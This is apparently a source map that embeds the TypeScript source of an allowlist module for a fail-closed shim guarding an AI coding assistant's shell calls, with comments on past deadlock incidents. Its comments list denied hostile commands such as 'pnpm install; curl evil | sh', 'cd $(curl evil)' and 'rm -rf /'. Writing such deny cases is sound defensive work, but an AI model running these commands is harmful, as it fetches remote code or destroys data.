MAAM,CAAC,MAAM,EAAE,+BAA+B,EAAE,EAAE,CAAC;QACvD,IAAI,MAAM,CAAC,MAAM,EAAE,mBAAmB,EAAE,EAAE,CAAC;QAC3C,IAAI,MAAM,CAAC,MAAM,EAAE,YAAY,EAAE,EAAE,CAAC;KACvC,CAAC;CACT,CAAC;AAEF,MAAM,aAAa,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,GAAG,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;AAC3G,MAAM,YAAY,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,EAAE,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAExG,uGAAuG;AACvG,sGAAsG;AACtG,2CAA2C;AAC9B,QAAA,YAAY,GACrB,sBAAsB,GAAG,GAAG,GAAG,aAAa,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,wBAAgB,CAAC;AAEpF,iGAAiG;AACjG,gDAAgD;AAChD,EAAE;AACF,oGAAoG;AACpG,qGAAqG;AACrG,sGAAsG;AACtG,+FAA+F;AAC/F,gFAAgF;AACnE,QAAA,eAAe,GAAG,oBAAY,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;AAErE,qFAAqF;AACxE,QAAA,WAAW,GACpB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEjG,0EAA0E;AAC1E,EAAE;AACF,uGAAuG;AACvG,sGAAsG;AACtG,sGAAsG;AACtG,sGAAsG;AACtG,4DAA4D;AAC5D,EAAE;AACF,mGAAmG;AACnG,uGAAuG;AACvG,mGAAmG;AACnG,uGAAuG;AACvG,MAAM,iBAAiB,GAAG,oBAAY,CAAC,OAAO,CAC1C,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,EAAE,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAChE,QAAA,gBAAgB,GACzB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,iBAAiB,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEtG,4FAA4F;AAC5F,EAAE;AACF,2FAA2F;AAC3F,uGAAuG;AACvG,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,yFAAyF;AAC5E,QAAA,UAAU,GAAwB,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;AAEjE;;;;;;;;GAQG;AACH,iMAAiM;AACjM,SAAgB,SAAS,CAAC,QAAgB,EAAE,OAAe,EAAE,QAAgB;IACzE,IAAI,kBAAU,CAAC,GAAG,CAAC,QAAQ,CAAC;QAAE,OAAO,MAAM,CAAC;IAC5C,IAAI,IAAI,CAAC,QAAQ,CAAC,QAAQ,CAAC,KAAK,8BAAe;QAAE,OAAO,MAAM,CAAC;IAC/D,IAAI,mBAAW,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;QAAE,OAAO,OAAO,CAAC;IACrD,OAAO,IAAI,CAAC;AAChB,CAAC","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (six named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to all six, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of SYNC_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its six faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the six\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n *\n * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny\n * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that\n * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.\n *\n * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see\n * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides\n * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.\n */\nexport class L0AllowEntry {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n /**\n * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run\n * before webpieces.config.json can even be loaded, so it bypasses everything, always. A\n * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary\n * command the downstream guards still judge.\n */\n readonly cure: boolean,\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n readonly extraSamples: readonly L0Call[] = [],\n ) {}\n\n /** Every call this entry pins: the canonical sample plus every extra spelling. */\n allSamples(): readonly L0Call[] {\n return [this.sample, ...this.extraSamples];\n }\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', false, null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', true, SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', 